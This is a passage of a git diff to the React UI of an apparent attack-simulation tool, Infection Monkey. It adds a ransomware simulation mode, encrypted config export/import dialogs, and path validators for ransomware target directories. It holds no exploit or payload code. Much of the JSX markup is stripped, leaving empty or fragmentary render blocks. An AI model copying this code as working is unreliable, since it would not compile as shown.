+ CONFIGURATION_TABS.RANSOMWARE,
+ CONFIGURATION_TABS.MONKEY,
+ CONFIGURATION_TABS.INTERNAL
+];
+
+const ransomwareModeConfigTabs = [
+ CONFIGURATION_TABS.BASIC,
+ CONFIGURATION_TABS.BASIC_NETWORK,
+ CONFIGURATION_TABS.RANSOMWARE
+];
+
+const CONFIGURATION_TABS_PER_MODE = {
+ 'advanced': advancedModeConfigTabs,
+ 'ransomware': ransomwareModeConfigTabs
+};
+
+export default CONFIGURATION_TABS_PER_MODE;
diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx b/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx
new file mode 100644
index 000000000..d30438cbd
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ExportConfigModal.tsx
@@ -0,0 +1,129 @@
+import {Button, Modal, Form} from 'react-bootstrap';
+import React, {useState} from 'react';
+
+import FileSaver from 'file-saver';
+import AuthComponent from '../AuthComponent';
+import '../../styles/components/configuration-components/ExportConfigModal.scss';
+
+
+type Props = {
+ show: boolean,
+ onHide: () => void
+}
+
+const ConfigExportModal = (props: Props) => {
+ const configExportEndpoint = '/api/configuration/export';
+
+ const [pass, setPass] = useState('');
+ const [radioValue, setRadioValue] = useState('password');
+ const authComponent = new AuthComponent({});
+
+ function isExportBtnDisabled() {
+ return pass === '' && radioValue === 'password';
+ }
+
+ function onSubmit() {
+ authComponent.authFetch(configExportEndpoint,
+ {
+ method: 'POST',
+ headers: {'Content-Type': 'application/json'},
+ body: JSON.stringify({
+ should_encrypt: (radioValue === 'password'),
+ password: pass
+ })
+ }
+ )
+ .then(res => res.json())
+ .then(res => {
+ let configToExport = res['config_export'];
+ if (res['encrypted']) {
+ configToExport = new Blob([configToExport]);
+ } else {
+ configToExport = new Blob(
+ [JSON.stringify(configToExport, null, 2)],
+ {type: 'text/plain;charset=utf-8'}
+ );
+ }
+ FileSaver.saveAs(configToExport, 'monkey.conf');
+ props.onHide();
+ })
+ }
+
+ return (
+
+
+ Configuration export
+
+
+
+
}
+ name={'export-choice'}
+ value={'password'}
+ onChange={evt => {
+ setRadioValue(evt.target.value)
+ }}
+ checked={radioValue === 'password'}
+ />
+
+
+
+
+
+
+
+ Export
+
+
+ )
+}
+
+const PasswordInput = (props: {
+ onChange: (passValue) => void
+}) => {
+ return (
+
+
Encrypt with a password:
+
(props.onChange(evt.target.value))}/>
+
+ )
+}
+
+const ExportPlaintextChoiceField = (props: {
+ radioValue: string,
+ onChange: (radioValue) => void
+}) => {
+ return (
+
+
{
+ props.onChange(evt.target.value);
+ }}
+ />
+
+ Configuration may contain stolen credentials or sensitive data.
+ It is recommended that you use the Encrypt with a password option.
+
+
+ )
+}
+
+
+export default ConfigExportModal;
diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/FieldWithInfo.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/FieldWithInfo.js
deleted file mode 100644
index 8a0bc0c04..000000000
--- a/monkey/monkey_island/cc/ui/src/components/configuration-components/FieldWithInfo.js
+++ /dev/null
@@ -1,20 +0,0 @@
-import ObjectField from 'react-jsonschema-form-bs4/lib/components/fields/ArrayField';
-import * as React from 'react';
-import {FontAwesomeIcon} from '@fortawesome/react-fontawesome';
-import {faInfoCircle} from '@fortawesome/free-solid-svg-icons/faInfoCircle';
-
-class FieldWithInfo extends React.Component {
-
- render() {
- return (
- <>
-
-
- {this.props.schema.info}
-
-
- >);
- }
-}
-
-export default FieldWithInfo;
diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/HtmlFieldDescription.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/HtmlFieldDescription.js
new file mode 100644
index 000000000..2d8df9020
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/HtmlFieldDescription.js
@@ -0,0 +1,8 @@
+import React from 'react';
+
+function HtmlFieldDescription(props) {
+ var content_obj = {__html: props.description};
+ return
;
+}
+
+export default HtmlFieldDescription;
diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx b/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx
new file mode 100644
index 000000000..9456e7dd8
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ImportConfigModal.tsx
@@ -0,0 +1,186 @@
+import {Button, Modal, Form, Alert} from 'react-bootstrap';
+import React, {useEffect, useState} from 'react';
+import {faExclamationCircle} from '@fortawesome/free-solid-svg-icons/faExclamationCircle';
+import {FontAwesomeIcon} from '@fortawesome/react-fontawesome';
+
+import AuthComponent from '../AuthComponent';
+import '../../styles/components/configuration-components/ImportConfigModal.scss';
+import UnsafeConfigOptionsConfirmationModal
+ from './UnsafeConfigOptionsConfirmationModal.js';
+import UploadStatusIcon, {UploadStatuses} from '../ui-components/UploadStatusIcon';
+import isUnsafeOptionSelected from '../utils/SafeOptionValidator.js';
+
+
+type Props = {
+ show: boolean,
+ onClose: (importSuccessful: boolean) => void
+}
+
+
+const ConfigImportModal = (props: Props) => {
+ const configImportEndpoint = '/api/configuration/import';
+
+ const [uploadStatus, setUploadStatus] = useState(UploadStatuses.clean);
+ const [configContents, setConfigContents] = useState(null);
+ const [candidateConfig, setCandidateConfig] = useState(null);
+ const [password, setPassword] = useState('');
+ const [showPassword, setShowPassword] = useState(false);
+ const [errorMessage, setErrorMessage] = useState('');
+ const [unsafeOptionsVerified, setUnsafeOptionsVerified] = useState(false);
+ const [showUnsafeOptionsConfirmation,
+ setShowUnsafeOptionsConfirmation] = useState(false);
+ const [fileFieldKey, setFileFieldKey] = useState(Date.now());
+
+ const authComponent = new AuthComponent({});
+
+ useEffect(() => {
+ if (configContents !== null) {
+ sendConfigToServer();
+ }
+ }, [configContents])
+
+
+ function sendConfigToServer() {
+ authComponent.authFetch(configImportEndpoint,
+ {
+ method: 'POST',
+ headers: {'Content-Type': 'application/json'},
+ body: JSON.stringify({
+ config: configContents,
+ password: password,
+ unsafeOptionsVerified: unsafeOptionsVerified
+ })
+ }
+ ).then(res => res.json())
+ .then(res => {
+ if (res['import_status'] === 'invalid_credentials') {
+ setUploadStatus(UploadStatuses.success);
+ if (showPassword){
+ setErrorMessage(res['message']);
+ } else {
+ setShowPassword(true);
+ setErrorMessage('');
+ }
+ } else if (res['import_status'] === 'invalid_configuration') {
+ setUploadStatus(UploadStatuses.error);
+ setErrorMessage(res['message']);
+ } else if (res['import_status'] === 'unsafe_options_verification_required') {
+ setUploadStatus(UploadStatuses.success);
+ setErrorMessage('');
+ if (isUnsafeOptionSelected(res['config_schema'], JSON.parse(res['config']))) {
+ setShowUnsafeOptionsConfirmation(true);
+ setCandidateConfig(res['config']);
+ } else {
+ setUnsafeOptionsVerified(true);
+ }
+ } else if (res['import_status'] === 'imported'){
+ resetState();
+ props.onClose(true);
+ }
+ })
+ }
+
+ function isImportDisabled(): boolean {
+ return uploadStatus !== UploadStatuses.success || (showPassword && password === '')
+ }
+
+ function resetState() {
+ setUploadStatus(UploadStatuses.clean);
+ setPassword('');
+ setConfigContents(null);
+ setErrorMessage('');
+ setShowPassword(false);
+ setShowUnsafeOptionsConfirmation(false);
+ setUnsafeOptionsVerified(false);
+ setFileFieldKey(Date.now()); // Resets the file input
+ }
+
+ function uploadFile(event) {
+ setShowPassword(false);
+ let reader = new FileReader();
+ reader.onload = (event) => {
+ setConfigContents(event.target.result);
+ };
+ reader.readAsText(event.target.files[0]);
+ }
+
+ function showVerificationDialog() {
+ return (
+ {
+ resetState();
+ }}
+ onContinueClick={() => {
+ setUnsafeOptionsVerified(true);
+ setConfigContents(candidateConfig);
+ }}
+ />
+ );
+ }
+
+ return (
+ <
+ Modal
+ show={props.show}
+ onHide={() => {
+ resetState();
+ props.onClose(false)
+ }}
+ size={'lg'}
+ className={'config-import-modal'}>
+ < Modal.Header
+ closeButton>
+ < Modal.Title>
+ Configuration
+ import
+
+
+
+
+ {showVerificationDialog()}
+
+
+
+ {showPassword && }
+
+ {errorMessage &&
+
+
+ {errorMessage}
+
+ }
+
+
+
+
+
+ Import
+
+
+ )
+}
+
+const PasswordInput = (props: {
+ onChange: (passValue) => void,
+}) => {
+ return (
+
+
File is protected. Please enter the password:
+
(props.onChange(evt.target.value))}/>
+
+ )
+}
+
+
+export default ConfigImportModal;
diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/InfoBox.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/InfoBox.js
new file mode 100644
index 000000000..ba6957aef
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/InfoBox.js
@@ -0,0 +1,17 @@
+import * as React from 'react';
+import {FontAwesomeIcon} from '@fortawesome/react-fontawesome';
+import {faInfoCircle} from '@fortawesome/free-solid-svg-icons/faInfoCircle';
+
+class InfoBox extends React.Component {
+
+ render() {
+ return (
+
+
+ {this.props.schema.info}
+
+ );
+ }
+}
+
+export default InfoBox;
diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/TextBox.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/TextBox.js
new file mode 100644
index 000000000..4d24ddb0a
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/TextBox.js
@@ -0,0 +1,12 @@
+import * as React from 'react';
+
+class TextBox extends React.Component {
+
+ render() {
+ return (
+ {this.props.schema.text}
+ );
+ }
+}
+
+export default TextBox;
diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UISchemaManipulators.tsx b/monkey/monkey_island/cc/ui/src/components/configuration-components/UISchemaManipulators.tsx
new file mode 100644
index 000000000..637a128f3
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UISchemaManipulators.tsx
@@ -0,0 +1,21 @@
+
+const manipulatorList = [ransomwareDirManipulator]
+
+function applyUiSchemaManipulators(selectedSection,
+ formData,
+ uiSchema) {
+ for(let i = 0; i < manipulatorList.length; i++){
+ manipulatorList[i](selectedSection, formData, uiSchema);
+ }
+}
+
+function ransomwareDirManipulator(selectedSection,
+ formData,
+ uiSchema) {
+ if (selectedSection === 'ransomware'){
+ uiSchema.encryption.directories =
+ {'ui:disabled': !formData['encryption']['enabled']};
+ }
+}
+
+export default applyUiSchemaManipulators;
diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js
index ac9104817..38e7ad244 100644
--- a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js
+++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js
@@ -1,7 +1,8 @@
import AdvancedMultiSelect from '../ui-components/AdvancedMultiSelect';
import PbaInput from './PbaInput';
import {API_PBA_LINUX, API_PBA_WINDOWS} from '../pages/ConfigurePage';
-import FieldWithInfo from './FieldWithInfo';
+import InfoBox from './InfoBox';
+import TextBox from './TextBox';
export default function UiSchema(props) {
const UiSchema = {
@@ -17,8 +18,8 @@ export default function UiSchema(props) {
basic_network: {
'ui:order': ['scope', 'network_analysis'],
scope: {
- blocked_ips: {
- 'ui:field': FieldWithInfo
+ info_box: {
+ 'ui:field': InfoBox
},
subnet_scan_list: {
format: 'ip-list'
@@ -71,6 +72,21 @@ export default function UiSchema(props) {
}
}
},
+ ransomware: {
+ encryption: {
+ info_box: {
+ 'ui:field': InfoBox
+ },
+ directories: {
+ // Directory inputs are dynamically hidden
+ },
+ text_box: {
+ 'ui:field': TextBox
+ },
+ enabled: {'ui:widget': 'hidden'}
+ },
+ other_behaviors : {'ui:widget': 'hidden'}
+ },
internal: {
general: {
started_on_island: {'ui:widget': 'hidden'}
diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeOptionsConfirmationModal.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeConfigOptionsConfirmationModal.js
similarity index 68%
rename from monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeOptionsConfirmationModal.js
rename to monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeConfigOptionsConfirmationModal.js
index d21bf5601..9593aeb38 100644
--- a/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeOptionsConfirmationModal.js
+++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UnsafeConfigOptionsConfirmationModal.js
@@ -1,15 +1,18 @@
import React from 'react';
import {Modal, Button} from 'react-bootstrap';
-function UnsafeOptionsConfirmationModal(props) {
+function UnsafeConfigOptionsConfirmationModal(props) {
return (
-
+
Warning
- Some of the selected options could cause systems to become unstable or malfunction.
+ Some of the configuration options selected could cause systems
+ to become unstable or malfunction.
Are you sure you want to submit the selected settings?
@@ -33,4 +36,4 @@ function UnsafeOptionsConfirmationModal(props) {
)
}
-export default UnsafeOptionsConfirmationModal;
+export default UnsafeConfigOptionsConfirmationModal;
diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationErrorMessages.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationErrorMessages.js
index a5782948a..3c7280f97 100644
--- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationErrorMessages.js
+++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationErrorMessages.js
@@ -1,4 +1,6 @@
-import {IP, IP_RANGE} from './ValidationFormats';
+import {IP, IP_RANGE, VALID_RANSOMWARE_TARGET_PATH_LINUX, VALID_RANSOMWARE_TARGET_PATH_WINDOWS} from './ValidationFormats';
+
+let invalidDirMessage = 'Invalid directory. Path should be absolute or begin with an environment variable.';
export default function transformErrors(errors) {
return errors.map(error => {
@@ -8,6 +10,10 @@ export default function transformErrors(errors) {
error.message = 'Invalid IP range, refer to description for valid examples.'
} else if (error.name === 'format' && error.params.format === IP) {
error.message = 'Invalid IP.'
+ } else if (error.name === 'format' && error.params.format === VALID_RANSOMWARE_TARGET_PATH_LINUX) {
+ error.message = invalidDirMessage
+ } else if (error.name === 'format' && error.params.format === VALID_RANSOMWARE_TARGET_PATH_WINDOWS) {
+ error.message = invalidDirMessage
}
return error;
});
diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js
index ff0b4706b..70d9f82fd 100644
--- a/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js
+++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/ValidationFormats.js
@@ -2,12 +2,31 @@ const ipRegex = '((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.){3}(25[0-5]|2[0-4][0
const cidrNotationRegex = '([0-9]|1[0-9]|2[0-9]|3[0-2])'
const hostnameRegex = '^([A-Za-z0-9]*[A-Za-z]+[A-Za-z0-9]*.?)*([A-Za-z0-9]*[A-Za-z]+[A-Za-z0-9]*)$'
+
+const linuxAbsolutePathRegex = /^\// // path starts with `/`
+const linuxPathStartsWithEnvVariableRegex = /^\$/ // path starts with `$`
+const linuxPathStartsWithTildeRegex = /^~/ // path starts with `~`
+
+
+const windowsAbsolutePathRegex = /^([A-Za-z]:(\\|\/))/ // path starts like `C:\` OR `C:/`
+const windowsEnvVarNonNumeric = '[A-Za-z#\\$\'\\(\\)\\*\\+,\\-\\.\\?@\\[\\]_`\\{\\}~ ]'
+const windowsPathStartsWithEnvVariableRegex = new RegExp(
+ `^%(${windowsEnvVarNonNumeric}+(${windowsEnvVarNonNumeric}|\\d)*)%`
+) // path starts like `$` OR `%abc%`
+const windowsUncPathRegex = /^\\{2}/ // Path starts like `\\`
+const emptyRegex = /^$/
+
+
export const IP_RANGE = 'ip-range';
export const IP = 'ip';
+export const VALID_RANSOMWARE_TARGET_PATH_LINUX = 'valid-ransomware-target-path-linux'
+export const VALID_RANSOMWARE_TARGET_PATH_WINDOWS = 'valid-ransomware-target-path-windows'
export const formValidationFormats = {
[IP_RANGE]: buildIpRangeRegex(),
- [IP]: buildIpRegex()
+ [IP]: buildIpRegex(),
+ [VALID_RANSOMWARE_TARGET_PATH_LINUX]: buildValidRansomwarePathLinuxRegex(),
+ [VALID_RANSOMWARE_TARGET_PATH_WINDOWS]: buildValidRansomwarePathWindowsRegex()
};
function buildIpRangeRegex(){
@@ -22,3 +41,21 @@ function buildIpRangeRegex(){
function buildIpRegex(){
return new RegExp('^'+ipRegex+'$')
}
+
+function buildValidRansomwarePathLinuxRegex() {
+ return new RegExp([
+ emptyRegex.source,
+ linuxAbsolutePathRegex.source,
+ linuxPathStartsWithEnvVariableRegex.source,
+ linuxPathStartsWithTildeRegex.source
+ ].join('|'))
+}
+
+function buildValidRansomwarePathWindowsRegex() {
+ return new RegExp([
+ emptyRegex.source,
+ windowsAbsolutePathRegex.source,
+ windowsPathStartsWithEnvVariableRegex.source,
+ windowsUncPathRegex.source
+ ].join('|'))
+}
diff --git a/monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx b/monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx
new file mode 100644
index 000000000..d862bb592
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/layouts/SidebarLayoutComponent.tsx
@@ -0,0 +1,28 @@
+import React from 'react';
+import {Route} from 'react-router-dom';
+import SideNavComponent from '../SideNavComponent.tsx';
+import {Col, Row} from 'react-bootstrap';
+
+const SidebarLayoutComponent = ({component: Component,
+ sideNavShow = true,
+ sideNavDisabled = false,
+ completedSteps = null,
+ defaultReport = '',
+ sideNavHeader = (<>>),
+ ...other
+ }) => (
+
{
+ return (
+
+ {sideNavShow &&
+
+ }
+
+
)
+ }}/>
+)
+
+export default SidebarLayoutComponent;
diff --git a/monkey/monkey_island/cc/ui/src/components/layouts/StandardLayoutComponent.js b/monkey/monkey_island/cc/ui/src/components/layouts/StandardLayoutComponent.js
deleted file mode 100644
index 1819f67bb..000000000
--- a/monkey/monkey_island/cc/ui/src/components/layouts/StandardLayoutComponent.js
+++ /dev/null
@@ -1,15 +0,0 @@
-import React from 'react'
-import {Route} from 'react-router-dom'
-import SideNavComponent from '../SideNavComponent'
-import {Col, Row} from 'react-bootstrap';
-
-export const StandardLayoutComponent = ({component: Component, ...rest}) => (
- (
-
-
-
-
-
-
- )}/>
-)
diff --git a/monkey/monkey_island/cc/ui/src/components/logo/LogoComponent.js b/monkey/monkey_island/cc/ui/src/components/logo/LogoComponent.js
new file mode 100644
index 000000000..0fb961bf9
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/logo/LogoComponent.js
@@ -0,0 +1,32 @@
+import React from 'react';
+import {Link} from 'react-router-dom';
+import {FontAwesomeIcon} from '@fortawesome/react-fontawesome';
+import {faExternalLinkAlt} from '@fortawesome/free-solid-svg-icons';
+import {Routes} from '../Main';
+import VersionComponent from './VersionComponent';
+
+const guardicoreLogoImage = require('../../images/guardicore-logo.png');
+
+function Logo() {
+ return (
+ <>
+
+
+
Powered by
+
+
+
+
+
+
+ >
+ );
+}
+
+export default Logo;
diff --git a/monkey/monkey_island/cc/ui/src/components/side-menu/VersionComponent.js b/monkey/monkey_island/cc/ui/src/components/logo/VersionComponent.js
similarity index 100%
rename from monkey/monkey_island/cc/ui/src/components/side-menu/VersionComponent.js
rename to monkey/monkey_island/cc/ui/src/components/logo/VersionComponent.js
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
index 4cae9b2bf..f23df62e6 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js
@@ -1,7 +1,6 @@
import React from 'react';
import Form from 'react-jsonschema-form-bs4';
-import {Col, Modal, Nav, Button} from 'react-bootstrap';
-import FileSaver from 'file-saver';
+import {Button, Col, Modal, Nav} from 'react-bootstrap';
import AuthComponent from '../AuthComponent';
import ConfigMatrixComponent from '../attack/ConfigMatrixComponent';
import UiSchema from '../configuration-components/UiSchema';
@@ -11,9 +10,15 @@ import {faExclamationCircle} from '@fortawesome/free-solid-svg-icons/faExclamati
import {formValidationFormats} from '../configuration-components/ValidationFormats';
import transformErrors from '../configuration-components/ValidationErrorMessages';
import InternalConfig from '../configuration-components/InternalConfig';
-import UnsafeOptionsConfirmationModal from '../configuration-components/UnsafeOptionsConfirmationModal.js';
+import UnsafeConfigOptionsConfirmationModal
+ from '../configuration-components/UnsafeConfigOptionsConfirmationModal.js';
import UnsafeOptionsWarningModal from '../configuration-components/UnsafeOptionsWarningModal.js';
import isUnsafeOptionSelected from '../utils/SafeOptionValidator.js';
+import ConfigExportModal from '../configuration-components/ExportConfigModal';
+import ConfigImportModal from '../configuration-components/ImportConfigModal';
+import applyUiSchemaManipulators from '../configuration-components/UISchemaManipulators.tsx';
+import HtmlFieldDescription from '../configuration-components/HtmlFieldDescription.js';
+import CONFIGURATION_TABS_PER_MODE from '../configuration-components/ConfigurationTabs.js';
const ATTACK_URL = '/api/attack';
const CONFIG_URL = '/api/configuration/island';
@@ -24,28 +29,42 @@ class ConfigurePageComponent extends AuthComponent {
constructor(props) {
super(props);
- this.currentSection = 'attack';
- this.currentFormData = {};
this.initialConfig = {};
this.initialAttackConfig = {};
- this.sectionsOrder = ['attack', 'basic', 'basic_network', 'monkey', 'internal'];
+ this.currentSection = this.getSectionsOrder()[0];
this.state = {
attackConfig: {},
configuration: {},
+ currentFormData: {},
importCandidateConfig: null,
lastAction: 'none',
schema: {},
sections: [],
- selectedSection: 'attack',
+ selectedSection: this.currentSection,
showAttackAlert: false,
showUnsafeOptionsConfirmation: false,
- showUnsafeAttackOptionsWarning: false
+ showUnsafeAttackOptionsWarning: false,
+ showConfigExportModal: false,
+ showConfigImportModal: false
};
}
+ componentDidUpdate() {
+ if (!this.getSectionsOrder().includes(this.currentSection)) {
+ this.currentSection = this.getSectionsOrder()[0]
+ this.setState({selectedSection: this.currentSection})
+ }
+ }
+
+ getSectionsOrder() {
+ let islandMode = this.props.islandMode ? this.props.islandMode : 'advanced'
+ return CONFIGURATION_TABS_PER_MODE[islandMode];
+ }
+
setInitialConfig(config) {
// Sets a reference to know if config was changed
+ config['attack'] = {}
this.initialConfig = JSON.parse(JSON.stringify(config));
}
@@ -56,6 +75,7 @@ class ConfigurePageComponent extends AuthComponent {
componentDidMount = () => {
let urls = [CONFIG_URL, ATTACK_URL];
+ // ??? Why fetch config here and not in `render()`?
Promise.all(urls.map(url => this.authFetch(url).then(res => res.json())))
.then(data => {
let sections = [];
@@ -63,11 +83,14 @@ class ConfigurePageComponent extends AuthComponent {
let monkeyConfig = data[0];
this.setInitialConfig(monkeyConfig.configuration);
this.setInitialAttackConfig(attackConfig.configuration);
- for (let sectionKey of this.sectionsOrder) {
+ for (let sectionKey of this.getSectionsOrder()) {
if (sectionKey === 'attack') {
sections.push({key: sectionKey, title: 'ATT&CK'})
} else {
- sections.push({key: sectionKey, title: monkeyConfig.schema.properties[sectionKey].title});
+ sections.push({
+ key: sectionKey,
+ title: monkeyConfig.schema.properties[sectionKey].title
+ });
}
}
this.setState({
@@ -75,7 +98,7 @@ class ConfigurePageComponent extends AuthComponent {
configuration: monkeyConfig.configuration,
attackConfig: attackConfig.configuration,
sections: sections,
- selectedSection: 'attack'
+ currentFormData: monkeyConfig.configuration[this.state.selectedSection]
})
});
};
@@ -87,10 +110,8 @@ class ConfigurePageComponent extends AuthComponent {
onUnsafeConfirmationContinueClick = () => {
this.setState({showUnsafeOptionsConfirmation: false});
- if (this.state.lastAction == 'submit_attempt') {
+ if (this.state.lastAction === 'submit_attempt') {
this.configSubmit();
- } else if (this.state.lastAction == 'import_attempt') {
- this.setConfigFromImportCandidate();
}
}
@@ -98,13 +119,13 @@ class ConfigurePageComponent extends AuthComponent {
this.setState({showUnsafeAttackOptionsWarning: false});
}
-
- updateConfig = (callback=null) => {
+ updateConfig = (callback = null) => {
this.authFetch(CONFIG_URL)
.then(res => res.json())
.then(data => {
this.setInitialConfig(data.configuration);
- this.setState({configuration: data.configuration}, callback);
+ this.setState({configuration: data.configuration,
+ currentFormData: data.configuration[this.state.selectedSection]}, callback);
})
};
@@ -208,18 +229,46 @@ class ConfigurePageComponent extends AuthComponent {
};
onChange = ({formData}) => {
- this.currentFormData = formData;
+ let configuration = this.state.configuration;
+ if (this.state.selectedSection === 'attack'){
+ formData = {};
+ }
+ configuration[this.state.selectedSection] = formData;
+ this.setState({currentFormData: formData, configuration: configuration});
};
updateConfigSection = () => {
let newConfig = this.state.configuration;
- if (Object.keys(this.currentFormData).length > 0) {
- newConfig[this.currentSection] = this.currentFormData;
- this.currentFormData = {};
+
+ if (Object.keys(this.state.currentFormData).length > 0) {
+ newConfig[this.currentSection] = this.state.currentFormData;
}
this.setState({configuration: newConfig, lastAction: 'none'});
};
+ renderConfigExportModal = () => {
+ return ( {
+ this.setState({showConfigExportModal: false});
+ }}/>);
+ }
+
+ renderConfigImportModal = () => {
+ return ();
+ }
+
+ onClose = (importSuccessful) => {
+ if(importSuccessful === true){
+ this.updateConfig();
+ this.setState({lastAction: 'import_success',
+ showConfigImportModal: false});
+
+ } else {
+ this.setState({showConfigImportModal: false});
+ }
+ }
+
renderAttackAlertModal = () => {
return ( {
this.setState({showAttackAlert: false})
@@ -248,7 +297,7 @@ class ConfigurePageComponent extends AuthComponent {
renderUnsafeOptionsConfirmationModal() {
return (
- res.json())
.then(res => {
+ res.configuration['attack'] = {}
this.setState({
lastAction: 'reset',
schema: res.schema,
- configuration: res.configuration
+ configuration: res.configuration,
+ currentFormData: res.configuration[this.state.selectedSection]
});
this.setInitialConfig(res.configuration);
this.props.onStatusChange();
@@ -338,42 +397,9 @@ class ConfigurePageComponent extends AuthComponent {
this.authFetch(apiEndpoint, request_options);
}
- setConfigOnImport = (event) => {
- try {
- var newConfig = JSON.parse(event.target.result);
- } catch (SyntaxError) {
- this.setState({lastAction: 'import_failure'});
- return;
- }
-
- this.setState({lastAction: 'import_attempt', importCandidateConfig: newConfig},
- () => {
- if (this.canSafelySubmitConfig(newConfig)) {
- this.setConfigFromImportCandidate();
- } else {
- this.setState({showUnsafeOptionsConfirmation: true});
- }
- }
- );
- }
-
- setConfigFromImportCandidate(){
- this.setState({
- configuration: this.state.importCandidateConfig,
- lastAction: 'import_success'
- }, () => {
- this.sendConfig();
- this.setInitialConfig(this.state.importCandidateConfig);
- });
- this.currentFormData = {};
- }
-
exportConfig = () => {
this.updateConfigSection();
- const configAsJson = JSON.stringify(this.state.configuration, null, 2);
- const configAsBinary = new Blob([configAsJson], {type: 'text/plain;charset=utf-8'});
-
- FileSaver.saveAs(configAsBinary, 'monkey.conf');
+ this.setState({showConfigExportModal: true});
};
sendConfig() {
@@ -395,13 +421,6 @@ class ConfigurePageComponent extends AuthComponent {
}));
}
- importConfig = (event) => {
- let reader = new FileReader();
- reader.onload = this.setConfigOnImport;
- reader.readAsText(event.target.files[0]);
- event.target.value = null;
- };
-
renderMatrix = () => {
return ( )
} else {
@@ -481,13 +505,15 @@ class ConfigurePageComponent extends AuthComponent {
let content = '';
if (this.state.selectedSection === 'attack' && Object.entries(this.state.attackConfig).length !== 0) {
content = this.renderMatrix()
- } else if (this.state.selectedSection !== 'attack') {
+ } else if (this.state.selectedSection !== 'attack' && Object.entries(this.state.configuration).length !== 0) {
content = this.renderConfigContent(displayedSchema)
}
return (
+ {this.renderConfigExportModal()}
+ {this.renderConfigImportModal()}
{this.renderAttackAlertModal()}
{this.renderUnsafeOptionsConfirmationModal()}
{this.renderUnsafeAttackOptionsWarningModal()}
@@ -495,21 +521,25 @@ class ConfigurePageComponent extends AuthComponent {
{this.renderNav()}
{content}
-
+
Submit
-
+
Reset to defaults
- document.getElementById('uploadInputInternal').click()}
+ {
+ this.setState({showConfigImportModal: true})
+ }}
className='btn btn-info btn-lg' style={{margin: '5px'}}>
Import config
-
-
+
Export config
@@ -526,12 +556,6 @@ class ConfigurePageComponent extends AuthComponent {
Configuration saved successfully.
: ''}
- {this.state.lastAction === 'import_failure' ?
-
-
- Failed importing configuration. Invalid config file.
-
- : ''}
{this.state.lastAction === 'invalid_configuration' ?
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunServerPage.js b/monkey/monkey_island/cc/ui/src/components/pages/GettingStartedPage.js
similarity index 84%
rename from monkey/monkey_island/cc/ui/src/components/pages/RunServerPage.js
rename to monkey/monkey_island/cc/ui/src/components/pages/GettingStartedPage.js
index b70d0b9f7..5fc910598 100644
--- a/monkey/monkey_island/cc/ui/src/components/pages/RunServerPage.js
+++ b/monkey/monkey_island/cc/ui/src/components/pages/GettingStartedPage.js
@@ -4,9 +4,9 @@ import {Link} from 'react-router-dom';
import {FontAwesomeIcon} from '@fortawesome/react-fontawesome';
import {faPlayCircle} from '@fortawesome/free-regular-svg-icons';
import {faBookOpen, faCogs} from '@fortawesome/free-solid-svg-icons';
-import '../../styles/pages/RunServerPage.scss';
+import '../../styles/pages/GettingStartedPage.scss';
-class RunServerPageComponent extends React.Component {
+class GettingStartedPageComponent extends React.Component {
constructor(props) {
super(props);
}
@@ -15,12 +15,9 @@ class RunServerPageComponent extends React.Component {
return (
-
Welcome to the Monkey Island Server
+ className={'main getting-started-page'}>
+
Getting Started
-
- Congratulations! You have successfully set up the Monkey Island server. 👏 👏
-
@@ -31,7 +28,7 @@ class RunServerPageComponent extends React.Component {
}
}
-export default RunServerPageComponent;
+export default GettingStartedPageComponent;
function HomepageCallToActions() {
return (
diff --git a/monkey/monkey_island/cc/ui/src/components/pages/LandingPage.tsx b/monkey/monkey_island/cc/ui/src/components/pages/LandingPage.tsx
new file mode 100644
index 000000000..156489c22
--- /dev/null
+++ b/monkey/monkey_island/cc/ui/src/components/pages/LandingPage.tsx
